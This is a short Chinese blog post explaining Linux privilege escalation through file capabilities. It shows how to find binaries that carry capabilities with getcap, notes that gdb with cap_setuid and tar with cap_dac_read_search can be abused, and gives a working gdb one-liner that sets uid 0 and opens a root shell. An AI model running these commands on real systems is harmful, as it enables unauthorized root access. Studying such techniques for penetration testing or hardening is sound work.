Capabilities 提权

Capabilities是linux的一种访问控制能力,能够更精细化的将操作系统权限(网络,文件等)赋权给应用程序,其中就包括设置uid和gid的权限。因此具备cap_setuid和cap_setgid权限的程序可以用来进行权限提升

一、查找设置过capabilities的应用程序

/usr/sbin/getcap -r / 2>/dev/null

二、找到具有cap_setuid或cap_setgid能力的进程,例如上图中hack8目录下的gdb应用具备该权限

* tar具备cap_dac_read_search=ep可用来读文件。

三、调用对应的方式,通过脚本设置uid为0,即可成功提权,这里通过利用gdb对应的方式进行提权

./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

 

 

 

更多类似程序的提权方式详见:https://gtfobins.github.io/gtfobins/gdb/

posted @ 2021-05-19 15:19  隐念笎  阅读(817)  评论(0编辑  收藏  举报